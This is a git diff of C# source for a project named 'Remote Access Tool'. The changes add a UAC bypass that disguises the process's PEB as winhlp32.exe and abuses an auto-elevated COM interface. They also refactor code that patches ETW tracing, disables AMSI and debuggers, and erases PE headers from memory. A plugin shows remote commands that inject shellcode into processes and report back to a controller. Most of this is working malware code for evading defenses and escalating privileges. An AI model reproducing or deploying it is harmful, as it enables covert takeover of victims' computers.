+ internal class DelegatesHandling
+ {
+ internal unsafe static void PrepareDelegate()
+ {
+ IntPtr ntWriteVirtual = Resolver.GetExportAddress("ntdll.dll", "NtWriteVirtualMemory");
+ IntPtr ntVirtualProtect = Resolver.GetExportAddress("ntdll.dll", "NtProtectVirtualMemory");
+
+ IntPtr rtlInitUnicode = Resolver.GetExportAddress("ntdll.dll", "RtlInitUnicodeString");
+ IntPtr rtlEnterCritical = Resolver.GetExportAddress("ntdll.dll", "RtlEnterCriticalSection");
+ IntPtr rtlLeaveCritical = Resolver.GetExportAddress("ntdll.dll", "RtlLeaveCriticalSection");
+
+ IntPtr coGet = Resolver.GetExportAddress("ole32.dll", "CoGetObject");
+
+ ntWriteVirtualMemory = (NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(ntWriteVirtual, typeof(NtWriteVirtualMemory));
+ ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(ntVirtualProtect, typeof(NtProtectVirtualMemory));
+
+ rtlInitUnicodeString = (RtlInitUnicodeString)Marshal.GetDelegateForFunctionPointer(rtlInitUnicode, typeof(RtlInitUnicodeString));
+ rtlEnterCriticalSection = (RtlEnterCriticalSection)Marshal.GetDelegateForFunctionPointer(rtlEnterCritical, typeof(RtlEnterCriticalSection));
+ rtlLeaveCriticalSection = (RtlLeaveCriticalSection)Marshal.GetDelegateForFunctionPointer(rtlLeaveCritical, typeof(RtlLeaveCriticalSection));
+
+ coGetObject = (CoGetObject)Marshal.GetDelegateForFunctionPointer(coGet, typeof(CoGetObject));
+
+
+
+
+
+
+ IntPtr loadLib = Resolver.GetExportAddress("kernel32.dll", "LoadLibraryW");
+ IntPtr virtualProt = Resolver.GetExportAddress("kernel32.dll", "VirtualProtect");
+
+ loadLibrary = (LoadLibrary)Marshal.GetDelegateForFunctionPointer(loadLib, typeof(LoadLibrary));
+ virtualProtect = (VirtualProtect)Marshal.GetDelegateForFunctionPointer(virtualProt, typeof(VirtualProtect));
+
+
+
+
+
+
+
+ IntPtr rtlAdjustPriv = Resolver.GetExportAddress("ntdll.dll", "RtlAdjustPrivilege");
+ IntPtr ntRaiseHard = Resolver.GetExportAddress("ntdll.dll", "NtRaiseHardError");
+ rtlAdjustPrivilege = (RtlAdjustPrivilege)Marshal.GetDelegateForFunctionPointer(rtlAdjustPriv, typeof(RtlAdjustPrivilege));
+ ntRaiseHardError = (NtRaiseHardError)Marshal.GetDelegateForFunctionPointer(ntRaiseHard, typeof(NtRaiseHardError));
+
+
+
+
+
+ ntProtectVirtualMemorySafe = (NtProtectVirtualMemorySafe)Marshal.GetDelegateForFunctionPointer(ntVirtualProtect, typeof(NtProtectVirtualMemorySafe));
+
+
+
+
+
+ ntWriteVirtualMemorySafe = (NtWriteVirtualMemorySafe)Marshal.GetDelegateForFunctionPointer(ntWriteVirtual, typeof(NtWriteVirtualMemorySafe));
+ }
+ }
+}
diff --git a/Remote Access Tool/Plugins/Offline/Special/ETW.cs b/Remote Access Tool/Plugins/Offline/Special/ETW.cs
index 524d0fa4..caf7d9fe 100644
--- a/Remote Access Tool/Plugins/Offline/Special/ETW.cs
+++ b/Remote Access Tool/Plugins/Offline/Special/ETW.cs
@@ -11,7 +11,7 @@ namespace Offline.Special
{
internal static class ETW
{
- [UnmanagedFunctionPointer(CallingConvention.Winapi)]
+ /*[UnmanagedFunctionPointer(CallingConvention.Winapi)]
unsafe delegate NtStatus NtProtectVirtualMemory
(
IntPtr ProcessHandle,
@@ -27,7 +27,7 @@ static void PrepareDelegate()
{
IntPtr ntVirtualProtect = Resolver.GetExportAddress("ntdll.dll", "NtProtectVirtualMemory");
ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(ntVirtualProtect, typeof(NtProtectVirtualMemory));
- }
+ }*/
private static bool Patch(ref IntPtr address)
{
@@ -66,14 +66,14 @@ In 32 bit (W10 & W11) :
if (address != IntPtr.Zero)
{
- NtStatus n = ntProtectVirtualMemory((IntPtr)(-1), ref address, ref sizeHookCode, PageAccessType.PAGE_EXECUTE_READWRITE, ref flOld);
+ NtStatus n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeHookCode, PageAccessType.PAGE_EXECUTE_READWRITE, ref flOld);
if (n != NtStatus.Success)
return false;
Marshal.Copy(retOpcode, 0, address, retOpcode.Length);
- n = ntProtectVirtualMemory((IntPtr)(-1), ref address, ref sizeHookCode, flOld, ref flOldLast);
+ n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeHookCode, flOld, ref flOldLast);
if (n != NtStatus.Success)
return false;
@@ -85,7 +85,7 @@ In 32 bit (W10 & W11) :
internal static bool BlockIt()
{
- PrepareDelegate();
+ //PrepareDelegate();
IntPtr ntTraceEvent = Resolver.GetExportAddress("ntdll.dll", "NtTraceEvent");
IntPtr ntTraceControl = Resolver.GetExportAddress("ntdll.dll", "NtTraceControl");
diff --git a/Remote Access Tool/Plugins/Offline/Special/PEB.cs b/Remote Access Tool/Plugins/Offline/Special/PEB.cs
new file mode 100644
index 00000000..146649dd
--- /dev/null
+++ b/Remote Access Tool/Plugins/Offline/Special/PEB.cs
@@ -0,0 +1,137 @@
+using System;
+using System.Runtime.InteropServices;
+using static Offline.Special.Commons;
+
+/*
+|| AUTHOR : UAC bypass method from Oddvar Moe aka api0cradle. ||
+ * ucmCMLuaUtilShellExecMethod
+ *
+ * Purpose:
+ *
+ * Bypass UAC using AutoElevated undocumented CMLuaUtil interface.
+ * This function expects that supMasqueradeProcess was called on process initialization.
+ *
+|| Original C# version : https://github.com/0xlane/BypassUAC ||
+|| github : https://github.com/arsium ||
+|| This method combines PEB masquerading + abusing com object. Reworked imports in C# to make it working again :) ||
+*/
+
+namespace Offline.Special
+{
+ internal class PEB
+ {
+ private static bool IsWOW64() => IntPtr.Size == 4;
+
+ private static IntPtr StructureToPtr(object obj)
+ {
+ IntPtr ptr = Marshal.AllocHGlobal(Marshal.SizeOf(obj));
+ Marshal.StructureToPtr(obj, ptr, false);
+ return ptr;
+ }
+
+ private unsafe static void McfInitUnicodeString(IntPtr procHandle, IntPtr lpDestAddress, string uniStr)
+ {
+ UnicodeString masq = new UnicodeString(uniStr);
+ IntPtr masqPtr = StructureToPtr(masq);
+ UIntPtr lpNumberOfBytesWritten = UIntPtr.Zero;
+ uint sizeStruct = (uint)Marshal.SizeOf(typeof(UnicodeString));
+ PageAccessType flOld = new PageAccessType();
+
+ ntProtectVirtualMemory((void*)procHandle, (void*)lpDestAddress, &sizeStruct, PageAccessType.PAGE_READWRITE, &flOld);
+ ntWriteVirtualMemory(procHandle, lpDestAddress, masqPtr, (UIntPtr)Marshal.SizeOf(typeof(UnicodeString)), out lpNumberOfBytesWritten);
+ }
+
+ [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+ private delegate IntPtr GetPeb();
+
+ internal static void MasqueradePEB()
+ {
+ IntPtr FullDllNamePtr, BaseDllNamePtr;
+
+ PEB32 peb32;
+ PEB64 peb64;
+
+ PebLdrData pld;
+
+ ProcessBasicInformation pbi = new ProcessBasicInformation();
+ IntPtr procHandle = CurrentProc;
+ IntPtr pbiPtr = StructureToPtr(pbi);
+
+ //NtStatus Status = ntQueryInformationProcess(procHandle, 0, pbiPtr, Marshal.SizeOf(pbi), ref result);
+
+ if (true)//(IsSuccess(Status))
+ {
+ pbi = (ProcessBasicInformation)Marshal.PtrToStructure(pbiPtr, typeof(ProcessBasicInformation));
+ if (IsWOW64())
+ {
+ //GetPeb getPeb = (GetPeb)Marshal.GetDelegateForFunctionPointer(IntPtr.Size == 4 ? ASM.PebFucker(true) : ASM.PebFucker(false), typeof(GetPeb)); ;
+ IntPtr getPeb = GetPebAddressDynamicWithoutAllocate();
+
+ peb32 = (PEB32)Marshal.PtrToStructure(getPeb, typeof(PEB32));
+
+ pld = (PebLdrData)Marshal.PtrToStructure(peb32.Ldr, typeof(PebLdrData));
+ PebLdrData StartModule = (PebLdrData)Marshal.PtrToStructure(peb32.Ldr, typeof(PebLdrData));
+
+ IntPtr pStartModuleInfo = StartModule.InLoadOrderModuleList.Flink;
+ IntPtr pNextModuleInfo = pld.InLoadOrderModuleList.Flink;
+
+ rtlEnterCriticalSection(peb32.FastPebLock);
+
+ FullDllNamePtr = new IntPtr(pNextModuleInfo.ToInt32() + 0x24);
+ BaseDllNamePtr = new IntPtr(pNextModuleInfo.ToInt32() + 0x2C);
+
+ do
+ {
+ LdrDataTableEntry ldte = (LdrDataTableEntry)Marshal.PtrToStructure(pNextModuleInfo, typeof(LdrDataTableEntry));
+
+ if (ldte.DllBase == peb32.ImageBaseAddress)
+ {
+ McfInitUnicodeString(procHandle, BaseDllNamePtr, "winhlp32.exe");
+ McfInitUnicodeString(procHandle, FullDllNamePtr, $"{System.Environment.GetEnvironmentVariable("SystemRoot").ToLower()}\\winhlp32.exe");
+ break;
+ }
+
+ pNextModuleInfo = ldte.InLoadOrderLinks.Flink;
+
+ } while (pNextModuleInfo != pStartModuleInfo);
+
+ rtlLeaveCriticalSection(peb32.FastPebLock);
+ }
+ else
+ {
+ //GetPeb getPeb = (GetPeb)Marshal.GetDelegateForFunctionPointer(IntPtr.Size == 4 ? ASM.PebFucker(true) : ASM.PebFucker(false), typeof(GetPeb)); ;
+ IntPtr getPeb = GetPebAddressDynamicWithoutAllocate();
+
+ peb64 = (PEB64)Marshal.PtrToStructure(getPeb, typeof(PEB64));
+
+ pld = (PebLdrData)Marshal.PtrToStructure(peb64.Ldr, typeof(PebLdrData));
+ PebLdrData StartModule = (PebLdrData)Marshal.PtrToStructure(peb64.Ldr, typeof(PebLdrData));
+
+ IntPtr pStartModuleInfo = StartModule.InLoadOrderModuleList.Flink;
+ IntPtr pNextModuleInfo = pld.InLoadOrderModuleList.Flink;
+
+ rtlEnterCriticalSection(peb64.FastPebLock);
+
+ FullDllNamePtr = new IntPtr(pNextModuleInfo.ToInt64() + 0x48);
+ BaseDllNamePtr = new IntPtr(pNextModuleInfo.ToInt64() + 0x58);
+ do
+ {
+ LdrDataTableEntry ldte = (LdrDataTableEntry)Marshal.PtrToStructure(pNextModuleInfo, typeof(LdrDataTableEntry));
+
+ if (ldte.DllBase == peb64.ImageBaseAddress)
+ {
+ McfInitUnicodeString(procHandle, BaseDllNamePtr, "winhlp32.exe");
+ McfInitUnicodeString(procHandle, FullDllNamePtr, $"{System.Environment.GetEnvironmentVariable("SystemRoot").ToLower()}\\winhlp32.exe");
+ break;
+ }
+
+ pNextModuleInfo = ldte.InLoadOrderLinks.Flink;
+
+ } while (pNextModuleInfo != pStartModuleInfo);
+ rtlLeaveCriticalSection(peb64.FastPebLock);
+ }
+ return;
+ }
+ }
+ }
+}
diff --git a/Remote Access Tool/Plugins/Offline/Special/PEFromPEB.cs b/Remote Access Tool/Plugins/Offline/Special/PEFromPEB.cs
index 31d12c11..75af0f96 100644
--- a/Remote Access Tool/Plugins/Offline/Special/PEFromPEB.cs
+++ b/Remote Access Tool/Plugins/Offline/Special/PEFromPEB.cs
@@ -12,7 +12,7 @@ namespace Offline.Special
{
internal static class PEFromPEB
{
- [UnmanagedFunctionPointer(CallingConvention.Winapi)]
+ /*[UnmanagedFunctionPointer(CallingConvention.Winapi)]
delegate NtStatus NtProtectVirtualMemory
(
IntPtr ProcessHandle,
@@ -43,7 +43,7 @@ static void PrepareDelegate()
IntPtr ntWriteVirtual = Resolver.GetExportAddress("ntdll.dll", "NtWriteVirtualMemory");
ntWriteVirtualMemory = (NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(ntWriteVirtual, typeof(NtWriteVirtualMemory));
- }
+ }*/
private static byte[] GetByteArray(int sizeInKb)
{
@@ -55,7 +55,7 @@ private static byte[] GetByteArray(int sizeInKb)
internal unsafe static bool BlockIt()
{
- PrepareDelegate();
+ //PrepareDelegate();
NtStatus n;
if (IntPtr.Size == 4)
{
@@ -66,19 +66,19 @@ internal unsafe static bool BlockIt()
uint sizeOfPatch = (uint)(sizeof(ImageDosHeader) - 6);
PageAccessType oldOne = new PageAccessType();
- n = ntProtectVirtualMemory((IntPtr)(-1), ref address, ref sizeOfPatch, PageAccessType.PAGE_READWRITE, ref oldOne);
+ n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeOfPatch, PageAccessType.PAGE_READWRITE, ref oldOne);
if (n != NtStatus.Success)
return false;
//Patching DOS (keeping the magic field with MZ)
- n = ntWriteVirtualMemory((IntPtr)(-1), (IntPtr)(peb32.ImageBaseAddress + 2), GetByteArray(sizeof(ImageDosHeader) - 6), (uint)(sizeof(ImageDosHeader) - 6), out _);
+ n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb32.ImageBaseAddress + 2), GetByteArray(sizeof(ImageDosHeader) - 6), (uint)(sizeof(ImageDosHeader) - 6), out _);
//Patching File Header (keeping signature field (PE) + machine)
- n = ntWriteVirtualMemory((IntPtr)(-1), (IntPtr)(peb32.ImageBaseAddress + dos32.e_lfanew + 4 + 2), GetByteArray(sizeof(ImageFileHeader) - 2 - 2 - 2), (uint)(sizeof(ImageFileHeader) - 2 - 2 - 2), out _);
+ n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb32.ImageBaseAddress + dos32.e_lfanew + 4 + 2), GetByteArray(sizeof(ImageFileHeader) - 2 - 2 - 2), (uint)(sizeof(ImageFileHeader) - 2 - 2 - 2), out _);
//Patching Optional Header (keeping all ImageDataDirectory)
- n = ntWriteVirtualMemory((IntPtr)(-1), (IntPtr)(peb32.ImageBaseAddress + dos32.e_lfanew + 4 + sizeof(ImageFileHeader)), GetByteArray(70), (uint)(70), out _);
+ n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb32.ImageBaseAddress + dos32.e_lfanew + 4 + sizeof(ImageFileHeader)), GetByteArray(70), (uint)(70), out _);
//Setting old protection
- n = ntProtectVirtualMemory((IntPtr)(-1), ref address, ref sizeOfPatch, oldOne, ref oldOne);
+ n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeOfPatch, oldOne, ref oldOne);
}
else
@@ -90,19 +90,19 @@ internal unsafe static bool BlockIt()
uint sizeOfPatch = (uint)(sizeof(ImageDosHeader) - 6);
PageAccessType oldOne = new PageAccessType();
- n = ntProtectVirtualMemory((IntPtr)(-1), ref address, ref sizeOfPatch, PageAccessType.PAGE_READWRITE, ref oldOne);
+ n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeOfPatch, PageAccessType.PAGE_READWRITE, ref oldOne);
if (n != NtStatus.Success)
return false;
//Patching DOS (keeping the magic field with MZ)
- n = ntWriteVirtualMemory((IntPtr)(-1), (IntPtr)(peb64.ImageBaseAddress + 2), GetByteArray(sizeof(ImageDosHeader) - 6), (uint)(sizeof(ImageDosHeader) - 6), out _);
+ n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb64.ImageBaseAddress + 2), GetByteArray(sizeof(ImageDosHeader) - 6), (uint)(sizeof(ImageDosHeader) - 6), out _);
//Patching File Header (keeping signature field (PE) + machine)
- n = ntWriteVirtualMemory((IntPtr)(-1), (IntPtr)(peb64.ImageBaseAddress + dos64.e_lfanew + 4 + 2), GetByteArray(sizeof(ImageFileHeader) - 2 - 2 - 2), (uint)(sizeof(ImageFileHeader) - 2 - 2 - 2), out _);
+ n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb64.ImageBaseAddress + dos64.e_lfanew + 4 + 2), GetByteArray(sizeof(ImageFileHeader) - 2 - 2 - 2), (uint)(sizeof(ImageFileHeader) - 2 - 2 - 2), out _);
//Patching Optional Header (keeping all ImageDataDirectory)
- n = ntWriteVirtualMemory((IntPtr)(-1), (IntPtr)(peb64.ImageBaseAddress + dos64.e_lfanew + 4 + sizeof(ImageFileHeader)), GetByteArray(74), (uint)(74), out _);
+ n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb64.ImageBaseAddress + dos64.e_lfanew + 4 + sizeof(ImageFileHeader)), GetByteArray(74), (uint)(74), out _);
//Setting old protection
- n = ntProtectVirtualMemory((IntPtr)(-1), ref address, ref sizeOfPatch, oldOne, ref oldOne);
+ n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeOfPatch, oldOne, ref oldOne);
}
if (n == NtStatus.Success)
return true;
diff --git a/Remote Access Tool/Plugins/Offline/Special/Parser.cs b/Remote Access Tool/Plugins/Offline/Special/Parser.cs
index 3021e86e..2ff4d79e 100644
--- a/Remote Access Tool/Plugins/Offline/Special/Parser.cs
+++ b/Remote Access Tool/Plugins/Offline/Special/Parser.cs
@@ -1,4 +1,5 @@
-
+using System.Windows.Forms;
+
/*
|| AUTHOR Arsium ||
|| github : https://github.com/arsium ||
@@ -8,15 +9,30 @@ namespace Offline.Special
{
public static class Parser
{
- public static void Parse(bool amsiBlock = false, bool etwBlock = false, bool erasePEFromPEB = false, bool antiDBG = false)
+ public enum HRESULT : long
{
+ S_FALSE = 0x0001,
+ S_OK = 0x0000,
+ E_INVALIDARG = 0x80070057,
+ E_OUTOFMEMORY = 0x8007000E
+ }
+
+ public static void Parse(bool amsiBlock = false, bool etwBlock = false, bool erasePEFromPEB = false, bool antiDBG = false, bool bypassUAC = false)
+ {
+ DelegatesHandling.PrepareDelegate();
+ if (bypassUAC)
+ {
+ PEB.MasqueradePEB();
+ COM.Start(Application.ExecutablePath);
+ }
+
if (antiDBG && AntiDBG.isThreadLaunched == false)
AntiDBG.BlockIt();
if (amsiBlock)
AMSI.BlockIt();
- if(etwBlock)
+ if (etwBlock)
ETW.BlockIt();
if (erasePEFromPEB)
diff --git a/Remote Access Tool/Plugins/Offline/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache b/Remote Access Tool/Plugins/Offline/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache
index fe384f86..ac3f0dec 100644
Binary files a/Remote Access Tool/Plugins/Offline/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache and b/Remote Access Tool/Plugins/Offline/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache differ
diff --git a/Remote Access Tool/Plugins/Offline/obj/Release/Interop.IWshRuntimeLibrary.dll b/Remote Access Tool/Plugins/Offline/obj/Release/Interop.IWshRuntimeLibrary.dll
index df2a9bf4..acaf63a1 100644
Binary files a/Remote Access Tool/Plugins/Offline/obj/Release/Interop.IWshRuntimeLibrary.dll and b/Remote Access Tool/Plugins/Offline/obj/Release/Interop.IWshRuntimeLibrary.dll differ
diff --git a/Remote Access Tool/Plugins/Offline/obj/Release/Offline.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/Offline/obj/Release/Offline.csproj.AssemblyReference.cache
index 37ab9d89..8ff78f6d 100644
Binary files a/Remote Access Tool/Plugins/Offline/obj/Release/Offline.csproj.AssemblyReference.cache and b/Remote Access Tool/Plugins/Offline/obj/Release/Offline.csproj.AssemblyReference.cache differ
diff --git a/Remote Access Tool/Plugins/Offline/obj/Release/Offline.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/Offline/obj/Release/Offline.csproj.CoreCompileInputs.cache
index e34219ce..de740133 100644
--- a/Remote Access Tool/Plugins/Offline/obj/Release/Offline.csproj.CoreCompileInputs.cache
+++ b/Remote Access Tool/Plugins/Offline/obj/Release/Offline.csproj.CoreCompileInputs.cache
@@ -1 +1 @@
-66f1c2e46c2dec9a1576ab4deb585e888ea0735d
+09234ae37459eb6d98685301512b000708156f2b
diff --git a/Remote Access Tool/Plugins/Offline/obj/Release/Offline.dll b/Remote Access Tool/Plugins/Offline/obj/Release/Offline.dll
index dba05426..290268bd 100644
Binary files a/Remote Access Tool/Plugins/Offline/obj/Release/Offline.dll and b/Remote Access Tool/Plugins/Offline/obj/Release/Offline.dll differ
diff --git a/Remote Access Tool/Plugins/PowerManager/Launch.cs b/Remote Access Tool/Plugins/PowerManager/Launch.cs
index d619696e..7e66e022 100644
--- a/Remote Access Tool/Plugins/PowerManager/Launch.cs
+++ b/Remote Access Tool/Plugins/PowerManager/Launch.cs
@@ -13,7 +13,7 @@ public static class Launch
{
public static void Main(LoadingAPI loadingAPI)
{
- switch (loadingAPI.currentPacket.packetType)
+ switch (loadingAPI.CurrentPacket.PacketType)
{
case PacketType.POWER_SHUTDOWN:
PowerManager.ShutDown();
diff --git a/Remote Access Tool/Plugins/PowerManager/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/PowerManager/Properties/AssemblyInfo.cs
index 4ad81354..6f51f72e 100644
--- a/Remote Access Tool/Plugins/PowerManager/Properties/AssemblyInfo.cs
+++ b/Remote Access Tool/Plugins/PowerManager/Properties/AssemblyInfo.cs
@@ -32,5 +32,5 @@
// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
// en utilisant '*', comme indiqué ci-dessous :
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("3.2.3.0")]
-[assembly: AssemblyFileVersion("3.2.3.0")]
+[assembly: AssemblyVersion("3.2.4.0")]
+[assembly: AssemblyFileVersion("3.2.4.0")]
diff --git a/Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.csproj.AssemblyReference.cache
index bdacf6d7..145e8e5d 100644
Binary files a/Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.csproj.AssemblyReference.cache and b/Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.csproj.AssemblyReference.cache differ
diff --git a/Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.csproj.CoreCompileInputs.cache
index c613f021..b6855f83 100644
--- a/Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.csproj.CoreCompileInputs.cache
+++ b/Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.csproj.CoreCompileInputs.cache
@@ -1 +1 @@
-8932bd16cbb7799e3c52f0a5a4b6e2aaecfc8784
+5e788d489c75857c6a9e32e0f8f160b99bfcd632
diff --git a/Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.dll b/Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.dll
index 555338e7..7723ee23 100644
Binary files a/Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.dll and b/Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.dll differ
diff --git a/Remote Access Tool/Plugins/ProcessManager/ClientHandler.cs b/Remote Access Tool/Plugins/ProcessManager/ClientHandler.cs
index 222870f0..fc76e44e 100644
--- a/Remote Access Tool/Plugins/ProcessManager/ClientHandler.cs
+++ b/Remote Access Tool/Plugins/ProcessManager/ClientHandler.cs
@@ -85,7 +85,7 @@ private int SendData(IPacket data)
header[1] = temp[1];
header[2] = temp[2];
header[3] = temp[3];
- header[4] = (byte)data.packetType;
+ header[4] = (byte)data.PacketType;
lock (socket)
{
diff --git a/Remote Access Tool/Plugins/ProcessManager/Launch.cs b/Remote Access Tool/Plugins/ProcessManager/Launch.cs
index 0829fbb2..78c0701c 100644
--- a/Remote Access Tool/Plugins/ProcessManager/Launch.cs
+++ b/Remote Access Tool/Plugins/ProcessManager/Launch.cs
@@ -14,34 +14,34 @@ public static class Launch
{
public static void Main(LoadingAPI loadingAPI)
{
- switch (loadingAPI.currentPacket.packetType)
+ switch (loadingAPI.CurrentPacket.PacketType)
{
case PacketType.PM_GET_PROCESSES:
- ProcessManagerPacket processManagerPacket = new ProcessManagerPacket(GetProcesses.GetAllProcesses(), loadingAPI.baseIp, loadingAPI.HWID);
- ClientSender(loadingAPI.host, loadingAPI.key, processManagerPacket);
+ ProcessManagerPacket processManagerPacket = new ProcessManagerPacket(GetProcesses.GetAllProcesses(), loadingAPI.BaseIp, loadingAPI.HWID);
+ ClientSender(loadingAPI.Host, loadingAPI.Key, processManagerPacket);
break;
case PacketType.PM_KILL_PROCESS:
- ProcessKillerPacket processToKill = (ProcessKillerPacket)loadingAPI.currentPacket;
- ProcessKillerPacket processKillerPacket = new ProcessKillerPacket(KillProcess.IsKilled(processToKill.processId), processToKill.processId, processToKill.processName, processToKill.rowIndex, loadingAPI.baseIp, loadingAPI.HWID);
- ClientSender(loadingAPI.host, loadingAPI.key, processKillerPacket);
+ ProcessKillerPacket processToKill = (ProcessKillerPacket)loadingAPI.CurrentPacket;
+ ProcessKillerPacket processKillerPacket = new ProcessKillerPacket(KillProcess.IsKilled(processToKill.processId), processToKill.processId, processToKill.processName, processToKill.rowIndex, loadingAPI.BaseIp, loadingAPI.HWID);
+ ClientSender(loadingAPI.Host, loadingAPI.Key, processKillerPacket);
break;
case PacketType.PM_SUSPEND_PROCESS:
- SuspendProcessPacket processToSuspend = (SuspendProcessPacket)loadingAPI.currentPacket;
- SuspendProcessPacket suspendProcessPacket = new SuspendProcessPacket(SuspendProcess.IsSuspended(processToSuspend.processId), processToSuspend.processId, processToSuspend.processName, processToSuspend.rowIndex, loadingAPI.baseIp, loadingAPI.HWID);
- ClientSender(loadingAPI.host, loadingAPI.key, suspendProcessPacket);
+ SuspendProcessPacket processToSuspend = (SuspendProcessPacket)loadingAPI.CurrentPacket;
+ SuspendProcessPacket suspendProcessPacket = new SuspendProcessPacket(SuspendProcess.IsSuspended(processToSuspend.processId), processToSuspend.processId, processToSuspend.processName, processToSuspend.rowIndex, loadingAPI.BaseIp, loadingAPI.HWID);
+ ClientSender(loadingAPI.Host, loadingAPI.Key, suspendProcessPacket);
break;
case PacketType.PM_RESUME_PROCESS:
- ResumeProcessPacket processToResume = (ResumeProcessPacket)loadingAPI.currentPacket;
- ResumeProcessPacket resumeProcessPacket = new ResumeProcessPacket(ResumeProcess.IsResumed(processToResume.processId), processToResume.processId, processToResume.processName, processToResume.rowIndex, loadingAPI.baseIp, loadingAPI.HWID);
- ClientSender(loadingAPI.host, loadingAPI.key, resumeProcessPacket);
+ ResumeProcessPacket processToResume = (ResumeProcessPacket)loadingAPI.CurrentPacket;
+ ResumeProcessPacket resumeProcessPacket = new ResumeProcessPacket(ResumeProcess.IsResumed(processToResume.processId), processToResume.processId, processToResume.processName, processToResume.rowIndex, loadingAPI.BaseIp, loadingAPI.HWID);
+ ClientSender(loadingAPI.Host, loadingAPI.Key, resumeProcessPacket);
break;
case PacketType.PM_INJECT_PROCESS:
- ProcessInjectionPacket processInjectionPacket = (ProcessInjectionPacket)loadingAPI.currentPacket;
+ ProcessInjectionPacket processInjectionPacket = (ProcessInjectionPacket)loadingAPI.CurrentPacket;
if (processInjectionPacket.injectionMethod == ProcessInjectionPacket.INJECTION_METHODS.CLASSIC)
{
ProcessInjection.InjectShellCodeClassicMethod(processInjectionPacket.processId, Compressor.QuickLZ.Decompress(processInjectionPacket.payload));
diff --git a/Remote Access Tool/Plugins/ProcessManager/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/ProcessManager/Properties/AssemblyInfo.cs
index 2934fd57..5abc73c9 100644
--- a/Remote Access Tool/Plugins/ProcessManager/Properties/AssemblyInfo.cs
+++ b/Remote Access Tool/Plugins/ProcessManager/Properties/AssemblyInfo.cs
@@ -32,5 +32,5 @@
// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
// en utilisant '*', comme indiqué ci-dessous :
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("3.2.3.0")]
-[assembly: AssemblyFileVersion("3.2.3.0")]
+[assembly: AssemblyVersion("3.2.4.0")]
+[assembly: AssemblyFileVersion("3.2.4.0")]
diff --git a/Remote Access Tool/Plugins/ProcessManager/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/ProcessManager/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..d9d581db
Binary files /dev/null and b/Remote Access Tool/Plugins/ProcessManager/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/ProcessManager/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/ProcessManager/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..e3d87839
Binary files /dev/null and b/Remote Access Tool/Plugins/ProcessManager/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/ProcessManager/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/ProcessManager/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..1de34303
Binary files /dev/null and b/Remote Access Tool/Plugins/ProcessManager/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/ProcessManager/obj/Release/ProcessManager.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/ProcessManager/obj/Release/ProcessManager.csproj.AssemblyReference.cache
index 82073f96..4d1c9265 100644
Binary files a/Remote Access Tool/Plugins/ProcessManager/obj/Release/ProcessManager.csproj.AssemblyReference.cache and b/Remote Access Tool/Plugins/ProcessManager/obj/Release/ProcessManager.csproj.AssemblyReference.cache differ
